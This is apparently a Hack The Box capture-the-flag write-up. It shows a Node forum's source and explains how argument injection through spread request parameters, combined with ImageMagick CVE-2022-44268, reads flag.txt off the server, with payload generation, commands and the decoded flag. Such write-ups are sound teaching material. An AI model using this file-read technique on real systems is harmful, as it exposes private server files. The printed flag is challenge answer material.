Welcome to the Prying Eyes, a “safe space” for those curious about the large organisations that dominate our life. How safe is the site really?
auth.js
const express = require("express");
const { RedirectIfAuthed } = require("../middleware/AuthMiddleware");
const ValidationMiddleware = require("../middleware/ValidationMiddleware");
const { render } = require("../utils");
const router = express.Router();
let db;
router.get("/login", RedirectIfAuthed, function (req, res) {
render(req, res, "login.html");
});
router.post("/login", RedirectIfAuthed, ValidationMiddleware("login", "/auth/login"), async function (req, res) {
const user = await db.loginUser(req.body.username, req.body.password);
if (!user) {
req.flashError("Please specify a valid username and password.");
return res.redirect("/auth/login");
}
req.session = {
flashes: {
success: [],
error: [],
},
userId: user.id,
};
req.flashSuccess("You are now logged in.");
return res.redirect("/forum");
});
router.get("/register", RedirectIfAuthed, function (req, res) {
render(req, res, "register.html");
});
router.post("/register", RedirectIfAuthed, ValidationMiddleware("register", "/auth/register"), async function (req, res) {
const user = await db.getUserByUsername(req.body.username);
if (user) {
req.flashError("That username already exists.");
return res.redirect("/auth/register");
}
await db.registerUser(req.body.username, req.body.password);
req.flashSuccess("You are now registered.");
return res.redirect("/auth/login");
});
router.get("/logout", function (req, res) {
req.session.userId = null;
req.flashSuccess("You have been logged out.");
return res.redirect("/forum");
});
module.exports = (database) => {
db = database;
return router;
};
forum.js
const express = require("express");
const { AuthRequired } = require("../middleware/AuthMiddleware");
const fileUpload = require("express-fileupload");
const fs = require("fs/promises");
const path = require("path");
const { convert } = require("imagemagick-convert");
const { render } = require("../utils");
const ValidationMiddleware = require("../middleware/ValidationMiddleware");
const { randomBytes } = require("node:crypto");
const router = express.Router();
let db;
router.get("/", async function (req, res) {
render(req, res, "forum.html", { posts: await db.getPosts() });
});
router.get("/new", AuthRequired, async function (req, res) {
render(req, res, "new.html");
});
router.get("/post/:parentId", AuthRequired, async function (req, res) {
const { parentId } = req.params;
const parent = await db.getPost(parentId);
if (!parent || parent.parentId) {
req.flashError("That post doesn't seem to exist.");
return res.redirect("/forum");
}
render(req, res, "post.html", { parent, posts: await db.getThread(parentId) });
});
router.post(
"/post",
AuthRequired,
fileUpload({
limits: {
fileSize: 2 * 1024 * 1024,
},
}),
ValidationMiddleware("post", "/forum"),
async function (req, res) {
const { title, message, parentId, ...convertParams } = req.body;
if (parentId) {
const parentPost = await db.getPost(parentId);
if (!parentPost) {
req.flashError("That post doesn't seem to exist.");
return res.redirect("/forum");
}
}
let attachedImage = null;
if (req.files && req.files.image) {
const fileName = randomBytes(16).toString("hex");
const filePath = path.join(__dirname, "..", "uploads", fileName);
try {
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
await fs.writeFile(filePath, processedImage);
attachedImage = `/uploads/${fileName}`;
} catch (error) {
req.flashError("There was an issue processing your image, please try again.");
console.error("Error occured while processing image:", error);
return res.redirect("/forum");
}
}
const { lastID: postId } = await db.createPost(req.session.userId, parentId, title, message, attachedImage);
if (parentId) {
return res.redirect(`/forum/post/${parentId}#post-${postId}`);
} else {
return res.redirect(`/forum/post/${postId}`);
}
}
);
module.exports = (database) => {
db = database;
return router;
};
It’s a simple forum where people can create posts and comment on other peoples posts. Goal is to read the flag.txt
in root of the project /home/node/app/
.
In Dockerfile
we can see the app installs ImageMagick-7.1.0-33
and in forum.js
this program is used in a wrapper library.
forum.js
...
const { convert } = require("imagemagick-convert");
...
https://www.npmjs.com/package/imagemagick-convert
Node.js wrapper for ImageMagick CLI for simple converting images.
So when the app uses convert()
method, the library simple calls the CLI program. This program has a vulnerability however CVE-2022-44268
.
When I upload an image to with a comment, the app converts it to AVIF
format and uploads it into /uploads
directory. The conversion happens with vulnerable ImageMagick-7.1.0-33
, where we inject a filepath we want to read into PNG Profile
element of the image. ImageMagick fetches this file and writes its content into the converted image.
forum.js
...
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
await fs.writeFile(filePath, processedImage);
...
The caveat is that this happens only with PNG -> PNG
conversion and not with PNG -> AVIF
.
The second part of the attack is to figure out how to output PNG
file from this conversion.
Remember the library used is just a wrapper to CLI ImageMagick which has an interesting cmd option.
-write <filename>
write an intermediate image [convert, composite]
The current image is written to the specified filename and then processing continues using that image. The following is an example of how several sizes of an image may be generated in one command (repeat as often as needed):
gm convert input.jpg -resize 50% -write input50.jpg \
-resize 25% input25.jpg
And since the app uses a JS spread operator ...convertParams
we can possibly inject -write
parameter to CMD line and write our own PNG
file to the filesystem.
Since we want to inject a string our only options is to use the background
parameter from the library.
When we do this successfuly, a PNG
with filecontent should be ready to download and decode the embeded file contents.
I used this poc to generate payload.
https://github.com/Sybil-Scan/imagemagick-lfi-poc/blob/main/generate.py
$ generate.py -f /home/node/app/flag.txt -o flag.png
$ identify -verbose flag.png
Image: flag.png
Format: PNG (Portable Network Graphics)
Geometry: 255x255
Class: DirectClass
Type: true color
Depth: 8 bits-per-pixel component
Channel Depths:
Red: 8 bits
Green: 8 bits
Blue: 8 bits
Channel Statistics:
Red:
Minimum: 0.00 (0.0000)
Maximum: 65278.00 (0.9961)
Mean: 32639.00 (0.4980)
Standard Deviation: 18918.32 (0.2887)
Green:
Minimum: 0.00 (0.0000)
Maximum: 65535.00 (1.0000)
Mean: 11051.34 (0.1686)
Standard Deviation: 15537.58 (0.2371)
Blue:
Minimum: 0.00 (0.0000)
Maximum: 65278.00 (0.9961)
Mean: 32639.00 (0.4980)
Standard Deviation: 18918.32 (0.2887)
Filesize: 1.2Ki
Interlace: No
Orientation: Unknown
Background Color: white
Border Color: #DFDFDF
Matte Color: #BDBDBD
Page geometry: 255x255+0+0
Compose: Over
Dispose: Undefined
Iterations: 0
Compression: Zip
Png:IHDR.color-type-orig: 2
Png:IHDR.bit-depth-orig: 8
Profile: /home/node/app/flag.txt
Signature: ddff23343c78d021bc46831d648fdf745d97484ed75faad33cda1909f01c00ab
Tainted: False
Elapsed Time: 0m:0.003455s
Pixels Per Second: 18.0Mi
Then we create a comment with generate PNG and add background
parameter like this.
After that, download the file from /uploads
directory.
Now use exiftool
to get hex
content of the file. Don’t use identify
command because it won’t show the contents of the file.
$ exiftool flag_out.png -b o.bin
Warning: [minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers) - flag_out.png
12.76flag_out.png.14902024:05:11 20:12:54+02:002024:05:14 19:28:31+02:002024:05:11 20:14:45+02:00100644PNGPNGimage/png255255820002.20.31270.3290.640.330.30.60.150.06255 0 06006000
txt
36
4854427b496d3467336d346731636b5f7655316e355f357452316b335f346734696e7d0a
Error: File not found - o.bin
[minor] Text/EXIF chunk(s) found after PNG IDAT (may be ignored by some readers)2024-05-11T18:12:37+00:002024-05-11T18:12:37+00:00255 2550.065025
Now decode hex.
$ python3 -c 'print(bytes.fromhex("4854427b496d3467336d346731636b5f7655316e355f357452316b335f346734696e7d0a").decode("utf-8"))'
HTB{Im4g3m4g1ck_vU1n5_5tR1k3_4g4in}
HTB{Im4g3m4g1ck_vU1n5_5tR1k3_4g4in}